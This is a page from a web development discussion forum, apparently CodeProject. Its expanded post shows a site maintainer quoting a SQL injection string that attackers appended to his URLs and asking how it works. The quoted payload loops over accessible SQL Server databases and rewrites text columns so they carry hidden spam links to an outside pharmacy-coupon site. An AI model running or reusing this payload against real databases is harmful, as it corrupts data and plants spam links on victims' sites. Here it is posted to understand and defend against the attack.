Click here to Skip to main content
15,886,873 members
Home / Discussions / Web Development
   

Web Development

 
GeneralRe: Tab Control Pin
Ali Al Omairi(Abu AlHassan)17-May-16 6:17
professionalAli Al Omairi(Abu AlHassan)17-May-16 6:17 
GeneralRe: Tab Control Pin
Richard Deeming17-May-16 6:52
mveRichard Deeming17-May-16 6:52 
Questionfacebook sharing Pin
Priyanka Kolambe16-May-16 21:01
Priyanka Kolambe16-May-16 21:01 
Questionglassfish alternatedocroot error 404 Pin
V.12-May-16 23:28
professionalV.12-May-16 23:28 
QuestionHow To Get Markup Of Page Using Chrome DevTools Pin
MadDashCoder12-May-16 0:05
MadDashCoder12-May-16 0:05 
AnswerRe: How To Get Markup Of Page Using Chrome DevTools Pin
Ali Al Omairi(Abu AlHassan)16-May-16 21:56
professionalAli Al Omairi(Abu AlHassan)16-May-16 21:56 
QuestionBest method to automate website filling in Google Chrome Pin
srikrishnathanthri9-May-16 2:07
srikrishnathanthri9-May-16 2:07 
QuestionWhat / how are these people trying to hack my site? Pin
Wombaticus7-May-16 4:34
Wombaticus7-May-16 4:34 
Someone is (repeatedly) trying to hack a site I look after - unsuccessfully, I might add, as I do check and sanitize all requests - but I am interested in knowing how...

they are requesting a page URL with the following appended:
HTML
';declare @b cursor;declare @s varchar(8000);declare @w varchar(99);set @b=cursor for select db_name() union select name from sys.databases where (has_dbaccess(name)!=0) and name not in ('master','tempdb','model','msdb',db_name());open @b;fetch next from @b into @w;while @@fetch_status=0 begin set @s='begin try use '+@w+';declare @c cursor;declare @d varchar(4000);set @c=cursor for select ''update [''+table_name+''] set [''+column_name+'']=[''+column_name+'']+case abs(checksum(newid()))%2510 when 0 then ''''''+char(60)+''div style="display:none"''+char(62)+''transfer prescription coupon ''+char(60)+''a href="http:''+char(47)+char(47)+''www.liberitutti.info''+char(47)+''page''+char(47)+''viagra-coupons-from-pfizer"''+char(62)+''''''+case abs(checksum(newid()))%253 when 0 then ''''liberitutti.info'''' when 1 then ''''liberitutti.info'''' else ''''2016 viagra coupon'''' end +''''''+char(60)+char(47)+''a''+char(62)+'' viagra coupons and discounts''+char(60)+char(47)+''div''+char(62)+'''''' else '''''''' end'' from sysindexes as i inner join sysobjects as o on i.id=o.id inner join information_schema.columns on o.name=table_name where(indid in (0,1)) and data_type like ''%25varchar'' and(character_maximum_length in (2147483647,-1));open @c;fetch next from @c into @d;while @@fetch_status=0 begin exec (@d);fetch next from @c into @d;end;close @c end try begin catch end catch';exec (@s);fetch next from @b into @w;end;close @b--

It looks to me as though they're hoping to inject some code into the page to either redirect users or at least display a link to their site - but how does this work? And what's with the 'update table name checksum' stuff about?

Just curious...
"I'm never quite so stupid as when I'm being smart." - Linus van Pelt.
"If you were as smart as you think you are, you wouldn't think you were so smart!" - Charlie Brown.

AnswerRe: What / how are these people trying to hack my site? Pin
DaveAuld7-May-16 5:27
professionalDaveAuld7-May-16 5:27 
QuestionCan any one answer this question Pin
Member 125083947-May-16 0:16
Member 125083947-May-16 0:16 
AnswerRe: Can any one answer this question Pin
Richard MacCutchan7-May-16 2:49
mveRichard MacCutchan7-May-16 2:49 
QuestionCSS Pin
Member 125083947-May-16 0:16
Member 125083947-May-16 0:16 
QuestionActionLink for webgrid page navigation? Pin
#realJSOP3-May-16 5:00
mve#realJSOP3-May-16 5:00 
AnswerRe: ActionLink for webgrid page navigation? Pin
#realJSOP3-May-16 5:54
mve#realJSOP3-May-16 5:54 
QuestionHTML5 and CSS Forums Pin
Jassim Rahma1-May-16 20:37
Jassim Rahma1-May-16 20:37 
QuestionRe: HTML5 and CSS Forums Pin
Richard MacCutchan1-May-16 20:56
mveRichard MacCutchan1-May-16 20:56 
AnswerRe: HTML5 and CSS Forums Pin
Jassim Rahma2-May-16 1:42
Jassim Rahma2-May-16 1:42 
QuestionProblem Querying using PDO Pin
Jassim Rahma26-Apr-16 21:42
Jassim Rahma26-Apr-16 21:42 
AnswerRe: Problem Querying using PDO Pin
Richard MacCutchan26-Apr-16 21:50
mveRichard MacCutchan26-Apr-16 21:50 
Questionmenu and submenu show in sidebar after click on it and load its related pages Pin
Member 1180506324-Apr-16 22:44
Member 1180506324-Apr-16 22:44 
AnswerRe: menu and submenu show in sidebar after click on it and load its related pages Pin
ZurdoDev25-Apr-16 1:40
professionalZurdoDev25-Apr-16 1:40 
GeneralRe: menu and submenu show in sidebar after click on it and load its related pages Pin
Member 1180506325-Apr-16 3:39
Member 1180506325-Apr-16 3:39 
GeneralRe: menu and submenu show in sidebar after click on it and load its related pages Pin
ZurdoDev25-Apr-16 3:54
professionalZurdoDev25-Apr-16 3:54 
GeneralRe: menu and submenu show in sidebar after click on it and load its related pages Pin
Richard MacCutchan25-Apr-16 7:00
mveRichard MacCutchan25-Apr-16 7:00 
QuestionAdd second Master Pages Pin
Member 1180506324-Apr-16 22:04
Member 1180506324-Apr-16 22:04 

General General    News News    Suggestion Suggestion    Question Question    Bug Bug    Answer Answer    Joke Joke    Praise Praise    Rant Rant    Admin Admin   

Use Ctrl+Left/Right to switch messages, Ctrl+Up/Down to switch threads, Ctrl+Shift+Left/Right to switch pages.